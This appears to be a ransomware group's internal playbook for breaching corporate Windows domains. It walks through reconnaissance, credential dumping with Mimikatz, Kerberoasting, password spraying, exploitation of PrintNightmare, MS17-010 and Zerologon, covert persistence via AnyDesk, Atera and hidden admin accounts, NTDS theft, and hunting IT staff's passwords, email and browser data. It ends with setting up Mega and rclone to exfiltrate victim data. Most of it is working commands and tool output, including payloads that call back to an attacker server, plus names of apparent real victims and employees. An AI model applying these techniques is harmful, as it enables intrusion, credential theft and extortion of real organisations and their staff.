Stage I. Privilege escalation and information collection

1. Initial reconnaissance

1.1. Company revenue search

Find company website

Google: website+revenue (mycorporation.com+revenue)

("mycorporation.com" "revenue")

Check more than one website if possible

(owler, manta, zoominfo, dnb, rocketrich)

1.2. AV detection
1.3. **shell whoami** <===== Who am I
1.4. **shell whoami /groups** --> my bot rights (if bot returned blue monitor)
1.5.1. **shell nltest /dclist:** <===== domain controllers
net dclist <===== domain controllers
1.5.2. **net domain_controllers** <===== this command will show IP addresses of domain controllers
1.6. **shell net localgroup administrators** <===== local administrators
1.7. **shell net group /domain "Domain Admins"** <===== domain administrators
1.8. **shell net group "Enterprise Admins" /domain** <===== enterprise administrators
1.9. **shell net group "Domain Computers" /domain** <===== Quantity of workstations in domain
1.10. **net computers** <===== ping all hosts with display of IP addresses

Preferably execute Kerberoast attack if more than 3k hosts received since bot can disconnect while dumping shares for 2 hours

2. Dump of Shares

Dump shares in two cases:
1. When looking for place for payload. In this case we're looking for writable shares only (admin share without shares local user have access to). To get the list run:

powershell-import /home/user/work/ShareFinder.ps1

psinject 1234 x64 Invoke-ShareFinder -CheckAdmin -Verbose | Out- File -Encoding ascii C:\ProgramData\sh.txt

2. When searching for information we gonna extract during second stage. In this case we'll need to found shares that the local user has access to. Impersonate administrator's token we gonna use for data extraction (different admins can have different access to different shares) and dumb with command:

powershell-import /home/user/work/ShareFinder.ps1

psinject 5209 x64 Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii C:\ProgramData\shda.txt

Analyze dumped shares we're interested in next

* Financial documents

* Accounting

* IT

* Clients

* Projects

Etc depending on what our target's activity.

Download what's been dumped. Details in stage 2.

3. Kerberoast attack

Objective is to receive admin hash for further brute attack. First method:

powershell-import /home/user/work/Invoke-Kerberoast.ps1

psinject 4728 x64 Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath c:\ProgramData\pshashes.txt -append -force - Encoding UTF8

Second method:

execute-assembly /home/user/work/Rubeus.exe kerberoast

/ldapfilter:'admincount=1' /format:hashcat

/outfile:C:\ProgramData\hashes.txt

execute-assembly /home/user/work/Rubeus.exe asreproast /format:hashcat /outfile:C:\ProgramData\asrephashes.txt

As a result receiving files in C:\ProgramData\ folder which can have hash. Download and if lucky enough send for brute via team leaders.

4. Mimikatz

mimikatz

version

Extraction of plaintext passwords from memory

privilege::debug – checking privileges

log nameoflog.log – enable log

sekurlsa::logonpasswords – show all stored local passwords in plaintext

log

privilege::debug

sekurlsa::logonpasswords

token::elevate

lsadump::sam

exit

lsadump::dcsync /user:Administrator - pass Get domain administrator at primary domain controller

sekurlsa::pth /user: /domain: /ntlm: /run:cmd – Pass-the-Hash (use it's NTLM instead of password) (same as runas /user:user cmd #PASSWORD#)

Mimikatz in Cobalt Strike

getsystem

hashdump

logonpasswords

beacon> make_token domen\user password – impersonate user token

beacon> pth domen\user NTLM - impersonate user token
beacon> rev2self – revert session to default

beacon> dcsync domain.com (Replace domain.com - with domain) - acquire all hashes from domain (domain administrator token is required)

If login and hash are found:
pth Domain\Admin pass (as hash) **shell dir \\ip or hostname\c$**

EliAdmin:1001:aad3b435b51404eeaad3b435b51404ee:b0059c57f5249ede3db768e388ee0b14:::
pth ELC\EliAdmin b0059c57f5249ede3db768e388ee0b14

If login and password are found

make_token Domain\Admin Pass rev2self – get token

Lsass reading
Dowload latest mimikatz version from github.

Run cmd as administrator

C:\work\mimikatz\win32 > mimiKatz
privilege::debug
sekurlsa::minidump lsass.dmp — Dump file

log — duplicate output to log file

Review mimikatz file
Save:
1. Logins and passwords in plaintext
2. If password is not available, save NTLM и SHA1 (Can be decrypted or used Pass-the-Hash attack after)

There's no way of lsass.exe dump via taskmgr on Windows 2003.

Open "Task manager" -> Processes, select **lsass.exe**, right mouse click and select **Dump Process**.
Process dump should be located at **C:\user\%%user%%\AppDara\Local\Temp\lsass.DMP**

Download dump with in preferable way

procdump.exe and **procdump64.exe** usage

Download **procdump.exe** or **procdump64.exe**

Run **procdump.exe** or **procdump64.exe**
procdump.exe -acceptula -ma lsass.exe C:\compaq\lsass.dmp procdump64.exe -acceptula -ma lsass.exe C:\compaq\lsass.dmp

Download **lsass.dmp** and remove **lsass.dmp** and **procdump**

Zerologon

mimikatz lsadump::zerologon /target:[controller.domain.local] /account:[controller]$ /exploit
mimikatz lsadump::zerologon /target:DC01.contoso.com /account:DC01$ /exploit

Procdump: in mimikatz

lsadump::mimidump LSAdump.dmp

log

sekurlsa::logonpasswords

exit

LSASS:
Cobalt Strike method: (*** Thanks to @Sven)
!*
1) getsystem

2) shell rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump PID C:\ProgramData\lsass.dmp full (PID from lsass) (get on remote workstation) coba_wmic:
shell wmic /node:[target] process call create "cmd /c rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump PID

C:\ProgramData\lsass.dmp full"
remote-exec psexec [target] cmd /c rundll32.exe

C:\windows\System32\comsvcs.dll, MiniDump PID

C:\ProgramData\lsass.dmp full

==========

RDP method:

Run **taskmgr** => right mouse click on **lsass process** => **create Dump file**. \\ Download file on your local workstation.

5. Saved passwords in domain group policies check

execute-assembly /home/user/work/Net-GPPPassword.exe

6. SMB Autobrut

You should have passwords for this attack.

- **the ones that were dumped with SharpChrome**
- **dumped with SeatBelto**
- **dumped with mimicatz and other tools while working inside network**

Any others, such as those found in the files

If there are fewer passwords than we need in order to launch a bruteforce attack, we can safely add them from the following list of the most common in the corporate environment.

Password1

Hello123

password

Welcome1

banco@1

training

Password123

job12345

spring

food1234

We also recommend using password lists based on seasons and the current year. Considering that passwords change every three months, you can take a "reserve" to generate such a list.

For example, in August 2020 we create the following list

June2020

July2020

August20

August2020

Summer20

Summer2020

June2020!

July2020!

August20!

August2020!

Summer20!

Summer2020!

All of the passwords above fall into either 3 of 4 Active Directory password requirements (which is enough for users to set them), or even all 4 requirements.

Note: we are considering the most popular variant of the requirements.

Scenario with domain administrators

1. Select the list of domain administrators with the command

shell net group "domain admins" /dom

Write the obtained data into the file admins.txt

2. Upload this file to the host in the folder C:\ProgramData
3. Request information on domain account blocking policy (protection against bruteforce)

beacon> shell net accounts /dom

Tasked beacon to run: net accounts /dom

host called home, sent: 48 bytes

received output:

The request will be processed at a domain controller for domain shookconstruction.com.

Force user logoff how long after time expires?: Never

Minimum password age (days): 1

Maximum password age (days): 42

Minimum password length: 6

Length of password history maintained: 24

Lockout threshold: Never

Lockout duration (minutes): 30

Lockout observation window (minutes): 30

Computer role: BACKUP

We are interested in the parameter Lockout threshold, which often contains a certain numeric value, which in the future we must use as a parameter (in this case stands Never - means that the protection against password brute force is disabled.

In this manual we'll indicate a value of 5 as the approximate most commonly encountered value.

The Minimum password length parameter specifies the minimum allowed number of characters of the password, it is required to filter our "list" of passwords.

4. In the source code of the script specify the domain in which the script will run

$context = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain","shookconstruction.com")

5. Import and run the script

powershell-import /tmp/Fast-Guide/Invoke-SMBAutoBrute.ps1

psinject 4728 x86 Invoke-SMBAutoBrute -PasswordList "Password1, Hello123, Welcome1, password, banco@1, training, Password123, spring, food1234, job12345, 1qazXDR%+"

The list of passwords consists of one that we "found" and two from the list of popular passwords

6. Watch the progress of the running script and pay attention to the result

Success! Username: Administrator. Password: 1qazXDR%+

Success! Username: CiscoDirSvcs. Password: 1qazXDR%+

We've successfully bruteforced two domain administrators.

A scenario without a list of users differs in only two things.

psinject 4728 x86 Invoke-SMBAutoBrute -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5

We don't specify parameters UserList and ShowVerbose. The absence of the first means that the search will be performed on ALL users in the domain, the absence of the second indicates that only the Successful results will be displayed.

I will not wait in the video guide to the end of the script that will search all user / password pairs in the domain, I will show only the output.

Success! Username: Administrator. Password: 1qazXDR%+

Success! Username: CiscoDirSvcs. Password: 1qazXDR%+

Success! Username: support. Password: 1qazXDR%+

Success! Username: accountingdept. Password: 1qazXDR%+

As you can see, we were able to find accounts of other users that may be useful for further lateral movement on the network and privileges escalation.

If there is no positive result, you can repeat after some time (optimal to multiply by two the Lockout duration parameter before the next attempt) with a new list of passwords.

The end of the script will be indicated by a message in the beacon

7. PrintNightmare

Fresh but known vulnerability. Use before patched) CVE-2021-34527 allows to create local administrator. Useful if agent returned with common user rights.

On agent:

powershell-import //import file CVE-2021-34527.ps1

powershell Invoke-Nightmare -NewUser "HACKER" -NewPassword "FUCKER" -DriverName "Xeroxxx" //create user HACKER with password FUCKER and add to local administrators

spawnas COMPNAME\HACKER FUCKER https // replace https with listener name. Getting agent from our new local administrator. There's a chance of getting agent from **SYSTEM***. After imprt run: **Invoke-Nightmare -DLL "\polniy\put\do\payload.dll"**

https://github.com/calebstewart/CVE-2021-1675

8. ms17_010

Windows XP and 2003 have no ms17_010 patch
Windows 7, 8, 10, 2008, 2012, 2016 — can be unpatched and vulnerable. Set login and password of domain user for successful exploitation during attack.

Dump AD, ping IP addresses.
IP addresses should be in one line separated by spaces.

1. Proxy start in Cobalt Strike:
Run command in Cobalt Strike console: **socks 18585**
18585 — port

2. Vulnerability scan:
Run commands in **Metasploit** console:

use auxiliary/scanner/smb/smb_ms17_010
set Proxies socks4: 172.98.192.214:18589
set threads 10
set RHOSTS 10.0.0.10 10.0.0.20 10.0.0.30 10.0.0.40

Additionaly for attacks on Windows 7, 8, 10, 2008, 2012, 2016 set:
set smbuser login
set smbdomain domain

set smbpass password

run

auxiliary/scanner/smb/smb_ms17_010 — additional Metasploit module scanning target for vulnerability availability;

set Proxies socks4: 172.98.192.214:18589 — Set Matasploit to use proxy for network access;

172.98.192.214 — Cobalt Strike server IP 18589 — port
set threads 10 — use 10 threads
set RHOSTS — all targeted IP addresses separated by space **run** — run module

Result:

[*] Scanned 10 of 44 host
[+] 10.0.0.200:445 -Host is VULNERABLE to... <== vulnerable host

Save IP addresses of vulnerable hosts.

3. Vulnerability usage to get meterpreter session

use exploit/windows/smb/ms17_010_psexec
set Proxies socks4: 172.98.192.214:18589
set RHOSTS 10.0.0.10 10.0.0.20 10.0.0.30 10.0.0.40

set payload windows/meterpreter/bind_tcp

set verbose 1

run

Change payload format if session didn't open:

set target 1

run

set target 2

run

set target 3

run

Change payload and try open session with different payload formats.

set payload windows/meterpreter/bind_tcp_rc4
Also try all file formats

If didn't work try this method however it rarely works. Try forwarding session into **Cobalt Strike**:
set payload windows/meterpreter/reverse_https
set lport 443

set lhost 172.98.192.214 (Cobalt Strike IP address) And also try all file formats

use exploit/windows/smb/ms17_010_psexec — **Metasploit** module (exploit), responsible for payload delivery and session opening.
set payload windows/meterpreter/bind_tcp — set which payload to use.

target 1 is **ps1** (PowerShell doesn't work on windows xp and windows 2003 so try newer windows versdions)
target 2 is **exe**
target 3 is **mof**

Result:
Session should become available. Check with **sessions** command in **Metasploit**.

After session been acquired try getting login and password for domain administrator:
Switch to session. Use command **sessions 1** (1 — session number)
getuin — Get session process PID. If PID is available, the session is opened.

hashdump — dump hashes
Getting passwords and hashes:
load mimikatz — loading Mimikatz.
Wdigest – Trying to get passwords entered by user themselves

kerberos - ?
livessp - ?
ssp – Entered via RDP
tspkg - ?
background – minimize session (can be opened later with **sessions 1**)

If session was not acquired, try creating administrator and connect with RDP using its credentials.

4. Vulnerability exploitation. Run commands (user creation and adding it to local administrators' group):

use auxiliary/admin/smb/ms17_010_command
set Proxies socks4: 172.98.192.214:18589
set RHOSTS 10.0.0.200 10.0.0.37 10.0.0.200 10.0.0.81 set command net user OldAdmin 1Q2w3E4r5T6y /add
set verbose 1
run
set command net localgroup Administrators OldAdmin /ADD run

use auxiliary/admin/smb/ms17_010_command — additional **Metasploit** module to run command on targeted workstation with administrator rights and return result to Metasploit console;

set command ... — set command;
net user OldAdmin 1Q2w3E4r5T6y /add — creation of user;
net localgroup Administrators OldAdmin /ADD — add user to local administrators group
set verbose 1 — Verbose. If something doesn't work send it to someone experienced.

Result:
Command should successfully run.
It did run successfully if you receive message **The command completed successfully**

Connect via RDP.

Oprion 1 — Run encrypted payload (session can be acquired). It's simple, just upload file and run it.

Вариант 2 — Get process dump of **lsass.exe** and locally get credentials from it.
Read how to do it in **Mimikatz manual**

9. RouterScan

Windows software which allows routers/cameras/NAS (depending on auth type) bruteforce if web interface is available.

Tries to detect which kind of device it is then applies corresponding exploits (even hacks Mikrotik in a second if firmware is below v. 6.12 and provides plaintext passwords)
If there are no exploits found for specific model it tries to bruteforce. Upload dictionaries in 3 text files starting with **auth_***.txt** to program root if needed.

Format:
login password

login password
Separated with Tab not spaces

Use SOCKS on Cobalt Strike server, proxy via ProxyFier, and run on your Windows, set IP address or ranges and number of threads (5 should be perfect) and timeout (preferably bump it to 3000ms if don't wanna miss). Default ports are already set but can be modified if web is set to different. Check first (Router scan main) and HNAP 1.0, others won't be necessary, uncheck. Press start, wait and hope for result.

10. Zerologon

There are two methods available.

1. Via Mimikatz (check corresponding manual)

2. Via Cobalt Strike script

Download script from

https://github.com/rsmudge/ZeroLogon-BOF

Connect as usual, script address is

ZeroLogon-BOF/dist/zerologon.cna
You should have a new console command - **zerologon**

Note:
net domain - getting domain name (For example, domain.local)

Start exploit:

zerologon iunderstand domain.local

iunderstand - stop word. We're resetting password exploiting this vulnerability. This exploit can lead to domain controller corruption. USE IT LAST.

In successful case we'll get:

Success! Use pth .\\%S 31d6cfe0d16ae931b73c59d7e0c089c0 and run dcscync

Do as written. Run

pth .\\%S 31d6cfe0d16ae931b73c59d7e0c089c0

And run

dcsync domain.local

If everything worked properly, we'll get NTDS access to NTDS

11. Persistence

As soon as **SYSTEM rights** were granted.

AnyDesk – for not in-use hosts

Atera – for other hosts

11.1. AnyDesk persistence

```
Function AnyDesk {


mkdir "C:\ProgramData\AnyDesk" # Download AnyDesk

$clnt = new-object System.Net.WebClient

$url = "http://download.anydesk.com/AnyDesk.exe"

$file = "C:\ProgramData\AnyDesk.exe"

$clnt.DownloadFile($url,$file)


    cmd.exe /c C:\ProgramData\AnyDesk.exe --install
C:\ProgramData\AnyDesk --start-with-win --silent


    cmd.exe /c echo J9kzQ2Y0qO | C:\ProgramData\anydesk.exe --
set-password


net user oldadministrator "qc69t4B#Z0kE3" /add

net localgroup Administrators oldadministrator /ADD reg add
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows

NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v
oldadministrator /t REG_DWORD /d 0 /f

cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id
```

}

AnyDesk

Run code in **Powershell ISE Run As Admin**
Receiving ID
Save it

Download Anydesk and set ID on dedicated server\VPS\VM

Press Console Account

Enter password

Quote

J9kzQ2Y0qO

Authorize as local administrator or domain user account and enjoy **Anydesk**

It is also possible to download\upload to\from victim's workstation (useful for dsocumentation search/view).

11.2. Atera persistence

Rigistrate on **https://app.atera.com**
Select **Install agent** on top
Download agent and upload it on victim

Run agent:

shell AGENT_INSTALLER.msi

Access should be granted on Devices tab

Remove agent installer.

13. Final recon

13.1. Trusts search

shell nltest /domain_trusts /all_trusts

13.2. NTDS dump

If administrator's domain is found

make_token Domain\Admin pass
shell dir \\IP address or hostname\c$ on Primary Domain Controller or Domain Controller if it allows: **dcsync domain.com** (**domain.com** - network domain)
Receiving **NTDS**
Required Privileges:

ReplicatingDirectoryChangesAll
ReplicatingDirectoryChanges

UNDETECTABLE NTDS DUMP

shell wmic /node:"DC01" /user:"DOMAIN\admin" /password:"cleartextpass" process call create "cmd /c vssadmin list shadows >> c:\log.txt"

Creating request for shadow copies listing. There are dates available so check the latest or manually create a new one:

net start Volume Shadow Copy
shell wmic /node:"DC01" /user:"DOMAIN\admin" /password:"cleartextpass" process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

далее в листинге шэдоу копий находим самую свежую

Find the most recent shadow copy Shadow Copy Volume:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55

We'll need the copy number for the next command correspondingly

shell wmic /node:"DC01" /user:"DOMAIN\admin" /password:"cleartextpass" process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55\Windows\NTDS\NT DS.dit c:\temp\log\ & copy

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55\Windows\System3

2\config\SYSTEM c:\temp\log\ & copy

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55\Windows\System3

2\config\SECURITY c:\temp\log\"

There should be files **ntds.dit / security / system** created in **c:\temp\log**Using portable version of 7z create password-protected archive:Code: [Select]

7za.exe a -tzip -mx5 \\DC01\C$\temp\log.zip \\DC01\C$\temp\log - pTOPSECRETPASSWORD

Download password-protected archive. Upon getting NTDS decryption error (corrupted file) try this command:

Esentutl /p C:\log\ntds.dit

The trick is there is no NTDS dump itself only password-protected archive.

In case you're detected try this method. The only possible detection is the traffic from DC analysis but without password there is no way to understand what exactly being extracted.

13.3. Backup and NAS search using NetScan

NetScan is a perfect tool which makes discovery of NAS/Backups/etc easier.

It can ping computers, scan ports, discover shared folders and retrieve practically any information about network devices via WMI, SNMP, HTTP, SSH and PowerShell. It also scans for remote services, registry, files and performance counters; offers flexible filtering and display options and exports NetScan results to a variety of formats from XML to JSON.

1) Upload **NetScan** folder on any infected machine. For example, **C:\Programdata\netscan**

2) cd C:\programdata\netscan

3) make_token DOMAIN\admin password

4) shell netscan.exe /hide /auto:"result.xml" /config:netscan.xml /range:192.168.0.1-192.168.1.255 or for **range.txt = 10.1.200.0/24**

/24 is a network mask so insert each IP address to range.txt file after pinging them (newline with ENTER)

Use command:

shell netscan.exe /hide /auto:"resuult.xml" /config:netscan.xml /file:range.txt

Change ranges if needed

5) Wait. File result.xml should appear in your folder, download it

6) Open local NetScan, upload result.xml and check results in any format available.

Sort by disk size to figure the most important assets.

13.4. Administrator hunting

If we have servers/NAS/tapes or cloud storages with backups but no access we need admin credentials. So, we have to hunt them. Usually there are 1-3 admins on networks we're working on. There are three types:

Senior

Medium

Junior

Of course, we're interested in Senior since they have the most privileges/access (passwords).
A few options how to determine admin accounts with passwords

Part 1

Option 1:

Examining domain administrator

```
beacon> shell net group "domain admins" /domain
```

```
Tasked beacon to run: net group "domain admins" /domain host
called home, sent: 64 bytes

received output:

La demande sera traitée sur contrôleur de domaine du domaine
DOMAIN.com.

Nom de groupe      Domain Admins

Commentaire        Designated administrators of the domain
Membres

-------------------------------------------------------------------------------
Administrator      ClusterSvc d01adm      createch da9adm
Createch2

p01adm             PMPUser                q01adm

repl               s01adm                 Sapserviced01

SAPServiceDA9      sapservicep01          SAPServiceQ01

sapservices01      SAPServiceSND          SAPServiceSOL


services                 services2              sndadm

soladm                   somadm                 staseb

telnet                   Johnadm

La commande s'est terminée correctement.
```

Filtering service/non-service accounts. For example, service accounts from the list above are

SAPServiceDA9

services

telnet

servies2

Sapservice01

...

Which accounts will MOST LIKELY work:

staseb

Johnadm

Written.Let's see which accounts are those in adfind_persons.txt

Or using the command

shell net user staseb /domain

Example:

beacon> shell net user ebernardo /domain

```
Tasked beacon to run: net user ebernardo /domain host called
home, sent: 57 bytes

received output:

User name                    ebernardo

Full Name                    Eric Bernardo Comment

User's comment

Country/region code          (null)

Account active               Yes

Account expires              Never

Password last set            2020-12-08 12:05:15 PM

Password expires             2021-06-06 12:05:15 PM

Password changeable          2020-12-08 12:05:15 PM Password
required                     Yes

User may change password     Yes

Workstations allowed         All Logon script

User profile Home directory

Last logon                   2021-01-29 2:25:24 PM

Logon hours allowed          All

Local Group Memberships  *Administrators     *Remote Desktop
Users

*Server Operators

Global Group memberships *US Users *Great Plains Users *Citrix
Group     *VPN Users

Saskatoon *Admins      -        AD Basic
```

```
*VPNUsersHeadOffice *Executives    *All Winnipeg

Staff *Scribe Console Users *Domain Admins *VPN   Users     USA

*Workstation.admins *Domain Users

The command completed successfully.
```

So, they are a user of dozens groups. Sometimes it's mentioned who they are in Comment section (**engineer\system administrator\support\business consultant**). Account should be active in **Last Logon** i.e. today\yesterday\this week but not a year ago or Never. If it is still not possible to identify who they are look at **adfind + linkedin (chapter below)**.

We have 2-3-5 accounts from domain admins and some understanding on who they are. As a result 1-2-3 admin accounts should be found.

Option 2:
Analyzing Adfind.

We're interested in **adfind_groups** file

Upon opening you'll see walls of text
Press Ctrl + F(Notepad2 / Geany)
Enter
dn:CN=

And press **Find All in current document**.
You should get approximate text (I've cut it a bit and left 10-20 lines, usually there are 100-10000 lines)

adfind_groups:3752:
dn:CN=SQLServer2005SQLBrowserUser$TRUCAMTLDC,CN=Users,DC=domain, DC=com
adfind_groups:3775: dn:CN=clubsocial,CN=Users,DC=domain,DC=com adfind_groups:3800:
dn:CN=Signature Intl- Special,OU=Groupes,OU=Infra,DC=domain,DC=com
adfind_groups:3829: dn:CN=FIMSyncAdmins,CN=Users,DC=domain,DC=com
adfind_groups:3852: dn:CN=GRP-GRAPHISTE,OU=FG- GRP,DC=domain,DC=com

So we've extracted active directory groups.

We did that because **everything in Active Directory of USA/EU networks is structured properly with comments, remarks etc.**

We're interested in group responsible for IT, administration, LAN engineers.

Paste filtered results no notepad and search via key words:

IT, Admin, engineer

In our example this line is found:

adfind_groups:3877: dn:CN=IT,CN=Users,DC=domain,DC=com

Go to line 3877 in adfind_Groups.txt:

dn:CN=IT,CN=Users,DC=domain,DC=com >objectClass: top
>objectClass: group
>cn: IT

>description: Informatique
>member: CN=MS Surface,OU=IT,DC=domain,DC=com
>member: CN=Gyslain Petit,OU=IT,DC=domain,DC=com
>member: CN=ftp,CN=Users,DC=domain,DC=com
>member: CN=St-Amand\, Sebastien\, CDT,OU=IT,DC=domain,DC=com

Skip users ftp and MS Surface, **Gyslain Petit** and **St Amand Sebastien are interesting**.
Open **ad_users.txt**
Enter **Gyslain Petit**

Find user info:

```
dn:CN=Gyslain Petit,OU=IT,DC=trudeaucorp,DC=com
>objectClass: top
>objectClass: person
>objectClass: organizationalPerson
>objectClass: user
>cn: Gyslain Petit
>sn: Petit
>title: Directeur, technologie de l'information
>physicalDeliveryOfficeName: 217
>givenName: Gyslain
>distinguishedName: CN=Gyslain Petit,OU=IT,DC=trudeaucorp,DC=com
>instanceType: 4
>whenCreated: 20020323153742.0Z
>whenChanged: 20201212071143.0Z
>displayName: Gyslain Petit
>uSNCreated: 29943
>memberOf:
                                    CN=GRP_Public_USA_P,OU=Securit
e- GRP,DC=trudeaucorp,DC=com
```

```
>memberOf: CN=GRP-LDAP-VPN,OU=FG-GRP,DC=trudeaucorp,DC=com

>memberOf: CN=IT Support,CN=Users,DC=trudeaucorp,DC=com

>memberOf: CN=Directeurs,CN=Users,DC=trudeaucorp,DC=com

>memberOf: CN=GRP-IT,OU=FG-GRP,DC=trudeaucorp,DC=com

>memberOf:
                                                        CN=Signatu
re

Canada,OU=Groupes,OU=Infra,DC=trudeaucorp,DC=com

>memberOf: CN=EDI,CN=Users,DC=trudeaucorp,DC=com

>memberOf: CN=IT,CN=Users,DC=trudeaucorp,DC=com

>memberOf: CN=TRUDEAU-MONTREAL,CN=Users,DC=trudeaucorp,DC=com

>memberOf: CN=everyone,CN=Users,DC=trudeaucorp,DC=com

>uSNChanged: 6908986

>department: IT Manager
```

Check the title. IT director. Great catch but usually IT director won't have passwords, so we're interested in System Administrator.Do same manipulations on second user.Make some notes on who is who and write down adfind logins (sAMAccountname) like this:

>sAMAccountName: gpetit

gpetit - IT director

staseb - position

Second part of option №2 (easier):

In **adfind_users.txt**

do search

`title:`

`description`

`departament`

If lucky you'll have positions straight away. In my case it looks like this:

```
adfind_persons:280: >title: Responsable, logistique direct
import
```

```
adfind_persons:1836: >title: Chef des services techniques
adfind_persons:1955: >title: Chef comptable adfind_persons:4544:
>title: Directeur, technologie de l'information

adfind_persons:6064: >title: Présidente

adfind_persons:6191: >title: Chargée de projets, mise en marché
adfind_persons:6285: >title: Directrice marketing
adfind_persons:6848: >title: Coordonnatrice à la logistique
adfind_persons:6948: >title: Responsable de l'expedition
```

Look through the list and you'll find accounts.

Those are easy methods. Alternative searches.

I know only one easy method - **linkedin**

Google

OURVICTIM.COM linkedin

Insert necessary domain instead of OURVICTIM.COM.

CN=Directeurs,CN=Users,DC=trudeaucorp,DC=com

CN=GRP-IT,OU=FG-GRP,DC=trudeaucorp,DC=com

CN=Signature

Go to **Members**

Search for

System

Admin

Engineer

Network

It

If you were able to find First + Last names, search for them in **adfind** and you'll get an account.

Part №1 is over.

Time to hunt admin and do analysis

Part №2:

Do the hunting via **SharpView**

Get SharpView.exe from your teamleads in group chat or software chat

On Linux

```
execute-assembly     /home/user/soft/scripts/SharpView.exe
                     Find- DomainUserLocation -UserIdentity
gpetit
```

On Windows

```
execute-assembly C:\Users\Андрей\Soft\Hacking\SharpView.exe
Find-

DomainUserLocation -UserIdentity gpetit
```

Where **gpetit** - user account we're looking for. Paste the data from **adfinusers** in **sAMAccountname**.

Log output should look like this:

```
UserDomain        : domain

UserName          : gpetit ComputerName  : DC01.domain.LOCAL
IPAddress         : 172.16.1.3

SessionFrom       : 192.168.100.55 SessionFromName :

LocalAdmin        :

UserDomain        : domain

UserName          : gpetit ComputerName  : SQL01.domain.LOCAL
IPAddress         : 172.16.1.30

SessionFrom       : 192.168.100.55 SessionFromName :

LocalAdmin        :

UserDomain        : domain

UserName          : gpetit

ComputerName      : lptp-gpetit.domain.LOCAL IPAddress  :
172.16.1.40

SessionFrom       : 192.168.100.55 SessionFromName :

LocalAdmin :
```

That's the approximate log format. First, software checks where user is authorized at this moment. We have "unordinary" user (administrator) who can be simultaneously authorized on 20-30-50 servers. How do we properly filter that?

First, remove disinterest operating systemms

For example, first on the list is DC01 which is clearly a DomainController01, you can check it via **adfind_computers.txt** or by running **portscan 172.16.1.13** so you can make sure it's Server OS. We need clients.

Second is SQL01 - Database, not interesting.

Вторая - SQL01 - БДшная ОС. Нам не подходит.

Third one is **lptp-gpetit**. Interesting, our user is **gpetit** and **lptp** means laptop. Probably that's him.

#Sometimes administrator connected ONLY to Server OS, but you can see IP address from different subnet (**for example, VPN**) in SessionFrom column and **SharpView** didn't "**catch**" him. Also, might be worth working on.

VERY IMPORTANT

Noobies are trying to create a new session there and **OFTEN getting alert**. Alert on admin's side means kick from the network, waste of time and nerves. You do NOT do that.

We gonna be **sending requests through file system.**

Run:

shell net view \\172.16.1.40 /ALL

Output lists local drives

C$
D$

Impersonate token (Token **is** recommended since **pth** will have a bit different **Event ID** on **domain controller** and **admin can detect that** and kick us from the system).

Open File Manager in Cobalt Strike:

\\172.16.1.40\c$

Or use shell

shell dir \\172.16.1.40\c$

Quickly look through local drive C:

\\172.16.1.40\c$\Users\gpetit
Usually if it IS admin's workstation you can find lots of tools like **Virtualbox / putty / winscp** etc Here's the list of interesting directories to look through:

Desktop

\\172.16.1.40\c$\Users\gpetit\Desktop

\\172.16.1.40\c$\Users\gpetit\OneDrive

\\172.16.1.40\c$\Users\gpetit\Downloads

\\172.16.1.40\c$\Users\gpetit\Desktop

\\172.16.1.40\c$\Users\gpetit\Documents

You can extract User configurations directories which are located here:

\\172.16.1.40\c$\Users\gpetit\AppData\Local

\\172.16.1.40\c$\Users\gpetit\AppData\Roaming

\\172.16.1.40\c$\Users\gpetit\AppData\Local\Google\Chrome\UserData\Default

Google Chrome's History && Login Data are located here.

History can be downloaded and viewed with **DBrowser for SQLite(nix win)**. Useful since we can check which sites admin visiting, who they're voting for also you can sort by name and even find **NAS / Tape / vSphere** etc. **VERY useful.**

Login Data contains logins and passwords. **Encrypted (!)**. If file size is **38-42kb** then it's **EMPTY**. If file size is bigger than **40-45kb (100kb-1-2Mb)** then it contains passwords.

If you have URL with password you need - talk to your teamleader.

Sometimes Login Data contains no password but there's a **lastpass** file in **extensions** folder. In this case use **RDP at night** and export passwords **(or use a keylogger or something else)**

You can also check **Firefox / Edge** folders (**paths will be added but you can google them easily**)

Also system administrators OFTEN have folders listed below at **AppData\Roaming && AppData\Local**:

Keepass

LastPass

Those are their configs. Download those and paste to group conference. If you find those then it's LIKELY they contain a lot of USEFUL passwords.

It also happens that the admin stores access/passwords on desktop:

access.xlsx

passwords.docx

Download, hack, check.

Also, there is outlook folder

\\172.16.1.40\c$\Users\gpetit\AppData\Local\Microsoft\Outlook

It contains file like,

gpetit@domain.com - Exchange1.ost

It contains MAILS of this dude. Download it and open with **free ost viewer** to check received/send mail. In some difficult cases it can be useful.

Copying is easy - just **shut down outlook.exe** and copy **.ost file,** user will restart outlook themselves.

\\172.16.1.40\c$\Users\gpetit\AppData\Local\Filezilla

\\172.16.1.40\c$\Users\gpetit\AppData\Roaming\Filezilla

File sitemanager.xml can contain **FTP SSH credentials**. Download, view and send to conference.

Check **\\172.16.1.40\C$\ProgramData**
+Program files/x86
+ Local drives shown via **net view \\host /ALL D$ etc**

There's also a **homeDir** at **ad_users.txt** which is also might be interesting, analyze.

Looks like that's it.

Manual was written for those who create a new session and getting administrator alerts.Our job is to understand how everything works and not to bruteforce different accesses.Everything's already compromised, and we just must analyze it like real administrators. Main objective of administrator hunting is to understand where they have their passwords stored and to steal DB\Excel\txt\doc!!!

Stage II. Data upload 1. Mega account registration

Register at **https://mega.io/**
Choose subscription, depending on how large victim network is. **Usually, 2TiB**

Choose payment with cryptocurrency
Send payment details to your teamlead

You cannot use one mega account for several different victim networks!!!

2.Creating rclone config

1. Download **rclone.exe from official site and create rclone.conf**
2. Run **cmd with admin privileges**, go to the directory where rclone.exe and it's config is located and run: **rclone config** 3. then select "new remote" in the menu that appears
4. call it "mega" then enter mega again
5. then enter the mega e-mail address, after it will ask you to enter your password or generate it, we choose ours with the letter 'Y'.
6. After creating a config, we are thrown back to the main menu and we will exit the rclone..
7. Next enter this command: **rclone.exe config show it will show you created confi**
8. Copy this config to **rclone.conf**

3. Data upload

